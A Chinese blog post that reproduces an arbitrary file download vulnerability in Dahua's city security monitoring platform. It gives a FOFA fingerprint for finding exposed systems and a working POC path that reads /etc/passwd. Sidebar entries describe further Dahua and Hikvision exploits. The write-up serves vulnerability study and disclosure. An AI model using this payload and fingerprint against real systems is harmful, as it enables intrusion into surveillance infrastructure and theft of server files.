大华城市安防监控系统平台管理存在任意文件下载漏洞

最新推荐文章于 2024-04-13 04:33:01 发布
最新推荐文章于 2024-04-13 04:33:01 发布
阅读量2.7k 收藏 4
点赞数 1
分类专栏： 网络安全学习 # 漏洞复现 文章标签： 安全 web安全 网络 网络安全 运维
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_44268918/article/details/129027139
版权

大华城市安防监控系统平台管理存在任意文件下载漏洞

1.大华城市安防监控系统平台管理存在任意文件下载漏洞

1.1.漏洞描述

  大华城市安防监控系统平台管理存在任意文件下载漏洞，攻击者通过漏洞可以下载服务器上的任意文件。

1.2.漏洞影响

  大华城市安防监控系统平台管理

1.3.FOFA

  “attachment_downloadByUrlAtt.action”

2.漏洞复现

2.1.登录页面

在这里插入图片描述

2.2.抓包

  刷新登录页面进行抓包，然后在数据包中添加POC。

POC：/portal/attachment_downloadByUrlAtt.action?filePath=file:///etc/passwd

在这里插入图片描述

剁椒鱼头没剁椒
关注
  • 1
    点赞
  • 踩
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
大华智慧园区综合管理平台存在任意文件上传漏洞
nnn2188185的博客
07-18 830
大华智慧园区综合管理平台是一款综合管理平台，具备园区运营、资源调配和智能服务等功能。平台意在协助优化园区资源分配，满足多元化的管理需求，同时通过提供智能服务，增强使用体验。大华智慧园区设备开放了文件上传功能，但未在上传的文件类型、大小、格式、路径等方面进行严格的限制和过滤，导致攻击者可以通过构造恶意文件并上传到设备上。
通过RTSP协议捕获大华摄像机视频
11-18
Opencv3通过RTSP协议捕获大华摄像头视频，在VisualStudio 2017 下编译通过
HiKVISION 综合安防管理平台 env信息泄漏漏洞，2024年最新网络安全源码剖析之Framwork层消息传递
最新发布
2301_76225520的博客
04-13 467
Hikvision是一家在中国颇具影响力的安防公司，其网络摄像头产品在市场上占据了相当大的份额。综合安防管理平台基于“统一软件技术架构”理念设计，采用业务组件化技术，满足平台在业务上的弹性扩展。
【漏洞复现】大华DSS视频管理系统信息泄露漏洞
晚风不及你
02-20 1212
大华DSS数字监控系统是一个在通用安防视频监控系统基础上设计开发的系统，除了具有普通安防视频监控系统的实时监视、云台操作、录像回放、报警处理、设备治理等功能外，更注重用户使用的便利性。
【漏洞复现】大华城市安防监控系统平台 任意文件下载漏洞
KKleeeaa的博客
02-01 408
任意文件下载
Dahua IPC 授权问题漏洞(CVE-2021-33045)
热门推荐
maverickpig的博客
01-14 1万+
Dahua IPC
大华城市安防系统平台任意文件下载漏洞
CommputerMac的博客
10-06 584
大华城市安防监控系统平台是一款集视频、报警、存储、管理于一体的综合安防解决方案。该平台支持多种接入方式，包括网络视频、模拟视频、数字视频、IP电话、对讲机等。此外，该平台还支持多种报警方式，包括移动侦测、区域入侵、越线报警、人员聚集等。filePath=file:///etc/passwd，可下载文件。大华城市安防监控系统平台管理存在任意文件下载漏洞，攻击者通过漏洞可以下载服务器上的任意文件。关注微信公众号 网络安全透视镜 回复 20231007 获取检测利用脚本。
【复现】大华 DSS 数字监控系统 任意文件读取漏洞_38
fushuang333的博客
02-03 1183
【复现】大华 DSS 数字监控系统 任意文件读取漏洞，通过提交专门设计的输入，攻击者就可以在被访问的文件系统中读取或写入任意内容。
大华 DSS 数字监控系统 itcBulletin SQL 注入漏洞复现
holyxp的博客
12-18 1662
大华 DSs 数字监控系统是大华开发的一款安防视频监控系统，拥有实时监视、云台操作、录像回放、报警处理、设备管理等功能。大华 DSS存在SQL注入漏洞，攻击者 pota/services/itcBuletin 路由发送特殊构造的数据包，利用报错注入获取数据库敏感信息。攻击者除了可以利用 SQL注入漏词获取数据库中的信息例如，管理员后台密码、站点的用户人人信息)之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限poc验证是否存在漏洞如果你想查询用户名和密码。
【1day】复现大华智慧园区综合管理平台任意文件上传漏洞
记录并分享学习安全的知识点..
07-07 1191
大华智慧园区综合管理平台是一个集智能化、信息化、网络化、安全化为一体的智慧园区管理平台，旨在为园区提供一站式解决方案，包括安防、能源管理、环境监测、人员管理、停车管理等多个方面。攻击者可以在前台将文件上传至其文件系统，但这些文件可能并没有经过充分的验证，如文件名称、类型、内容或大小等。未能正确执行这些限制就意味着即使最基本的图像上传功能也可能用于上传任意具有潜在危险的文件，里面甚至包括远程代码执行的服务器端脚本文件。
大华智慧园区综合管理平台密码泄露漏洞
xiaokp7的博客
09-07 964
大华智慧园区综合管理平台是一个集智能化、信息化、网络化、安全化为一体的智慧园区管理平台，旨在为园区提供一站式解决方案，包括安防、能源管理、环境监测、人员管理、停车管理等多个方面。由于敏感目录并未进行鉴权，所以可以直接得到system的密码（采用MD5加密）。
大华平台DSS视频监控系统介绍.doc
05-13
大华平台DSS视频监控系统介绍
大华校园安防系统建设方案
08-20
大华校园安防系统建设方案
浙江大华DVR视频监控系统方案.doc
11-30
远程集中监控与管理系统各子系统（如音视频监控录像系统、防盗报警系统、远程控制、远程语音对讲、远程网络传输系统）在实际使用中应可以相对独立，要考虑各子系统之间的接口具有标准、通用的特性，以保证各子系统间...
大华智慧园区综合管理平台存在未授权高危漏洞（0Day）及以往漏洞POC合集
02-27
大华智慧园区综合管理平台存在未授权高危漏洞（0Day）及以往漏洞POC合集
大华安防监控基础知识入门-图片.pptx
07-09
大华摄像头，视频监控基础知识入门。安防行业与相关背景知识。
【漏洞复现】海康威视综合安防管理平台Fastjson远程命令执行漏洞复现
做自己喜欢的事，并将其发挥到极致！
04-28 7521
综合安防管理平台基于 统一软件技术架构 理念设计，采用业务组件化技术，满足平台在业务上的弹性扩展。该平台适用于全行业通用综合安防业务，对各系统资源进行了整合和集中管理，实现统一部署、配置、管理和调度。海康威视综合安防管理平台存在Fastjson远程命令执行漏洞，该漏洞可执行系统命令，可获取到目标服务器系统权限以及敏感数据信息。
大华城市安防监控系统平台attachment_downloadByUrlAtt.action存在任意文件读取漏洞 附POC软件
nnn2188185的博客
02-02 77
大华城市安防监控系统平台attachment_downloadByUrlAtt.action存在任意文件读取漏洞 附POC软件
【解决方案】RTSP/HIKSDK/EHOME/GB28181协议视频智能分析融合平台EasyCVR搭建办公写字楼综合安防解决方案
TSINGSEE青犀视频官方技术博客
11-24 672
一、方案背景 随着城市经济的发展，各个大中城市写字楼越来越多。对一些大城市，如香港、台北、上海、北京来说，写字楼的安保人员成本很高。越来越多的物业公司系统通过技术来实现安保成本的降低。写字楼安防监控系统是利用安全防范技术构成的安防系统，为写字楼内的工作人员提供一个安全、便利、舒适的受保护空间。建立监控、报警、门禁、可视对讲等相结合的安防防范系统，是智能建筑行业客户行之有效的保卫手段。 二、方案需求 写字楼安防监控前端采集子系统包括视频前端、门禁读卡器、各种探头等，前端设备负责将数据及各种信号通过传
大华安防监控web二次开发包
10-16
大华安防监控web二次开发包是一种由大华科技开发的软件开发工具包，旨在帮助开发者在大华安防监控产品的基础上进行二次开发。该开发包提供了丰富的API和丰富的功能模块，使开发者能够通过自定义开发来满足不同应用场景的需求。 大华安防监控web二次开发包具有以下特点和优势： 1.全面的功能支持：开发包提供了安防监控产品的各项基本功能，包括视频监控、报警管理、远程控制等，可以有效地满足各种应用场景的需求。 2.丰富的开发接口：开发包提供了丰富的开发接口和SDK，包括视频数据接口、设备管理接口、事件处理接口等，方便开发者进行二次开发并与其他系统进行集成。 3.灵活的定制性：开发包提供了丰富的可配置项和定制化选项，可以根据实际需求进行功能扩展和界面定制，提供个性化的用户体验。 4.稳定可靠的性能：开发包基于大华科技的安防监控产品开发而成，具有稳定可靠的性能和良好的兼容性，可以满足各种复杂应用场景和大规模部署的需求。 5.持续的技术支持：大华科技作为业内知名的安防监控产品供应商，提供了专业的技术支持和服务团队，能够及时解决开发过程中的问题，保障开发工作的顺利进行。 总之，大华安防监控web二次开发包是一款功能强大、易于定制的软件开发工具包，为开发者提供了丰富的接口和功能模块，可以实现个性化的安防监控系统开发，并提供了持续的技术支持和优质的服务。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

剁椒鱼头没剁椒

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值